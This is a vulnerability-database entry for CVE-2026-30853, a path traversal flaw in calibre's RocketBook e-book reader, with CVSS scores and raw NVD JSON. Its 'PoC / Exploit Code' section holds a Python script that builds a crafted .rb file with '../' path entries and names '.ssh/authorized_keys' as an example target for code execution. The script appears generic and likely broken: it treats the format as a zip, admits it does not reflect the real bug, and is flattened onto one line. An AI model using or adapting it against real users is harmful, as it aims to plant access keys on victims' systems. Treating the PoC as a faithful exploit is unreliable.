Security Vulnerability Report
中文
CVE-2026-30853 CVSS 5.0 MEDIUM

CVE-2026-30853

Published: 2026-03-13 19:54:35
Last Modified: 2026-03-18 14:01:23

Description

calibre is a cross-platform e-book manager for viewing, converting, editing, and cataloging e-books. Prior to 9.5.0, a path traversal vulnerability in the RocketBook (.rb) input plugin (src/calibre/ebooks/rb/reader.py) allows an attacker to write arbitrary files to any path writable by the calibre process when a user opens or converts a crafted .rb file. This is the same bug class fixed in CVE-2026-26065 for the PDB readers, but the fix was never applied to the RB reader. This vulnerability is fixed in 9.5.0.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:* - VULNERABLE
calibre < 9.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-30853 PoC - Calibre RocketBook Path Traversal Generate a malicious .rb file that attempts to write to arbitrary path """ import zipfile import os def create_malicious_rb(output_path, target_file): """ Create a malicious RocketBook (.rb) file with path traversal payload """ with zipfile.ZipFile(output_path, 'w') as rb_file: # Path traversal payload to write to arbitrary location # The actual exploitation depends on the specific vulnerability in reader.py malicious_content = b'Crafted RB content with path traversal' # Add the malicious content file with path traversal sequence traversal_path = f"../../../../../../{target_file}" rb_file.writestr(traversal_path, malicious_content) # Add main content file rb_file.writestr('content.rb', b'Main ebook content') print(f"[+] Created malicious .rb file: {output_path}") print(f"[+] Target path: {target_file}") if __name__ == '__main__': # Example usage output = 'malicious_book.rb' target = '.ssh/authorized_keys' # Example target for remote code execution create_malicious_rb(output, target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30853", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:35.077", "lastModified": "2026-03-18T14:01:22.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "calibre is a cross-platform e-book manager for viewing, converting, editing, and cataloging e-books. Prior to 9.5.0, a path traversal vulnerability in the RocketBook (.rb) input plugin (src/calibre/ebooks/rb/reader.py) allows an attacker to write arbitrary files to any path writable by the calibre process when a user opens or converts a crafted .rb file. This is the same bug class fixed in CVE-2026-26065 for the PDB readers, but the fix was never applied to the RB reader. This vulnerability is fixed in 9.5.0."}, {"lang": "es", "value": "calibre es un gestor de libros electrónicos multiplataforma para ver, convertir, editar y catalogar libros electrónicos. Antes de la versión 9.5.0, una vulnerabilidad de salto de ruta en el plugin de entrada de RocketBook (.rb) (src/calibre/ebooks/rb/reader.py) permite a un atacante escribir archivos arbitrarios en cualquier ruta escribible por el proceso de calibre cuando un usuario abre o convierte un archivo .rb manipulado. Esta es la misma clase de error corregida en CVE-2026-26065 para los lectores PDB, pero la corrección nunca se aplicó al lector RB. Esta vulnerabilidad está corregida en la versión 9.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.5.0", "matchCriteriaId": "973916AB-8FDD-411A-8AA0-F32688DD1C2E"}]}]}], "references": [{"url": "https://github.com/kovidgoyal/calibre/security/advisories/GHSA-7mp7-rfrg-542x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}